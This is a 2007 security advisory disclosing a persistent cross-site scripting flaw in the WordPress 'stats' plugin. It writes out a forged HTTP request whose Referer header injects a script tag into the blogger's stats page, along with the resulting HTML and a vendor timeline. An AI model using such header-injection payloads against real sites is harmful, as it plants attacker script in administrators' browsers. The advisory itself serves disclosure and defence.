wppersist-xss.txt

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1. DESCRIPTION OF THE SOFTWARE  
  
On May 6th, 2007 a new WordPress plugin called "stats" was released.  
This plugin allows a WordPress user who has his blog self-hosted to  
use the Wordpress.com statistics.  
The plugin includes a JavaScript on the blog page to collect  
statistics from visitors. This statistics include page viewed, search  
engine keywords, if used, and referrer as well.  
  
2. DESCRIPTION OF THE VULNERABILITY  
  
The referrer field is taken from the HTTP header generated by the user  
with his browser. So it's a user-input and it is possibile therefore to  
tamper with it.  
This is a snip of code taken from the stats page of Wordpress.com dashboard.  
  
...  
<a href='http://www.referersite.it/?q=2'>http://www.referersite.it/?q=2</a>  
...  
  
If an attacker creates an HTTP request like this, an alert box will be  
displayed when the blogger reads his stats:  
GET http://www.somewpblog.com/ HTTP/1.1  
Host:www.siteofblogger.com  
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.3)  
Gecko/20070309 Firefox/2.0.0.3  
Accept:text/xml,application/xml,application/xhtml+xml,text/html;  
q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language:it,it-it;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding:gzip,deflate  
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive:300  
Connection:keep-alive  
Referer:http://www.e.it'></a><script>alert(/My XSS/)</script><a href='  
  
On the stats page this HTML code will be written:  
  
...  
<a href='http://www.miosito.it'></a><script>alert(/My XSS/)</script><a  
href=''>http://www.miosito.it'></a><script>alert(/My XSS/)</script><a  
href='</a>  
...  
  
3. ANALYSIS  
  
An attacker could forge the HTTP Referrer so to inject inside it some  
Javascript code aiming to create a persistent cross-site scripting (XSS).  
  
In order to exploit this vulnerability, an attacker can simply request a  
page controlled by stats plugin and send a special HTTP header.  
No interaction from the victim is needed.  
  
4. TIME LINE  
  
14/05/2007 - Vendor notified  
XX/05/2007 - Vendor silently fixed the bug  
13/06/2007 - Vendor recontacted  
13/06/2007 - Vendor response  
19/06/2007 - Public disclosure  
  
- --  
Matteo Carli  
matteo at matteocarli dot com | web: www.matteocarli.com  
GPG keyID: 0xD20BA70A | GnuPG key server: pgp.mit.edu  
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